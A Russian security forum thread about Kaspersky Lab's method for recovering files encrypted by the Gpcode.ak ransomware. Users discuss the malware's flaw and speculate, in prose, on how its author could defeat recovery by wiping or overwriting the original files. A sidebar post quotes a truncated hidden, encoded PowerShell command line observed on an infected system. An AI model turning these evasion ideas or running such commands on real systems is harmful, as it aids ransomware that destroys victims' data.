Перейти к содержанию
AM_Bot

Найден способ восстановления файлов после атаки вируса Gpcode.ak

Recommended Posts

AM_Bot

"Лаборатория Касперского", ведущий производитель систем защиты от вредоносного и нежелательного ПО, хакерских атак и спама, информирует пользователей о возможности восстановления файлов после атаки вируса Gpcode.ak. Как сообщалось ранее, зашифрованные Gpcode.ak файлы, не имея секретного ключа, в настоящее время расшифровать невозможно. Тем не менее, найдено оптимальное решение для их восстановления.

читать дальше

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Stuart

Интересно получается. В предыдущей версии вируса криптора был найден недостаток, которым и смогли воспользоваться специалисты для его обхода. В этой версии с шифрованием вроде проблем нет, но файл вместо прямой шифрации шифруется с сохранением оригинала, создаётся шифрованный, а потом только старый удаляется, который и можно восстановить, - недочёт. Сейчас автор учтёт этот факт и через год ждём новую модификацию. :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
dot_sent
через год ждём новую модификацию

По идее, "работы" всего на пару часов.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Winny
По идее, "работы" всего на пару часов.

Для виря?

Затереть все области на диске, где лежали исходные файлы? - Хм, я тоже думаю, что за пару часов справится. :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
dot_sent
Для виря?

Затереть все области на диске, где лежали исходные файлы? - Хм, я тоже думаю, что за пару часов справится. smile.gif

Для вирьмейкера. Переписать вирь :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Winny
Для вирьмейкера. Переписать вирь :)

Это ему придётся взять на себя всю логику работы с FS в обход драйверов Windows.

Я не уверен, что такое возможно.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
dan

А то, что можно писать в оригинальный файл, вам в голову не приходит? ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Winny
А то, что можно писать в оригинальный файл, вам в голову не приходит? ;)

Нет, такое мне в голову не приходило и никогда не придёт. ;)

ЗЫ

Попробуйте сформулировать то, что Вы подразумеваете под "писать в оригинальный файл"?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sww

Wipe файла прямо из юзермода, потом delete и этот "костыль" не проканает.

Это ему придётся взять на себя всю логику работы с FS в обход драйверов Windows.

Полнейшая ерунда.

P.S. Кстати, я хочу активно поучаствовать в переборе ключа ж*п*кодера:

1, 3, 5, 7, 11, 13, 17, 19, 23...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Winny
Wipe файла прямо из юзермода, потом delete и этот "костыль" не проканает.

Да, но ведь тогда время его работы существенно вырастет и пользователь сможет заметить это и рубануть процесс или нажать reset.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sww
Да, но ведь тогда время его работы существенно вырастет и пользователь сможет заметить это и рубануть процесс или нажать reset.

Возрастет время не намного, а если использовать нативные функции, то будет еще быстрее, да и шифровать можно с умом, не треща винтом, так что юзер ничего не заметит.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexxSun

Странная тема - все вдруг кинулись обсуждать то, каким образом вирусописателю нужно доработать вирус, чтобы он принёс пользователю максимальный ущерб :) Может и готовые решения кто-то выложит, а мы затем пообсуждаем и попробуем испытать? :D

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
dan
P.S. Кстати, я хочу активно поучаствовать в переборе ключа ж*п*кодера:

1, 3, 5, 7, 11, 13, 17, 19, 23...

Можете начинать с начала, у Вас ошибка на первом же (втором) шаге.

Нет, такое мне в голову не приходило и никогда не придёт. ;)

ЗЫ

Попробуйте сформулировать то, что Вы подразумеваете под "писать в оригинальный файл"?

А что тут формулировать то?

Сложно прочитать кусок файла, зашифровать и положить на место?

Или при наличии заголовка и потоковости шифрования сложно читать чуть больше(на размер заголовка), шифровать и класть на место?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sww
Странная тема - все вдруг кинулись обсуждать то, каким образом вирусописателю нужно доработать вирус, чтобы он принёс пользователю максимальный ущерб :) Может и готовые решения кто-то выложит, а мы затем пообсуждаем и попробуем испытать? :D

Неужели непонятно, что это очевидные вещи и не супер секреты?

Можете начинать с начала, у Вас ошибка на первом же (втором) шаге.

Рекомендую передачу "Аншлаг", развивает чувство юмора у некоторых кому "за" :lol:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Kokunov Aleksey

объясните мне идиоту, почему нельзя открыть на чтение/изменение исходный файл, создав при этом новый файл, куда переносми уже криптованые данные.

А исходный файл заполняем нулями и потом удаляем. Все это за одну сессию? Проблема в совместном доступе к файлам?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
dot_sent
объясните мне идиоту, почему нельзя открыть на чтение/изменение исходный файл, создав при этом новый файл, куда переносми уже криптованые данные.

А исходный файл заполняем нулями и потом удаляем. Все это за одну сессию? Проблема в совместном доступе к файлам?

Добавляются накладные расходы времени/ресурсов на затирание исходного файла. А так больше вроде бы проблем нет...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×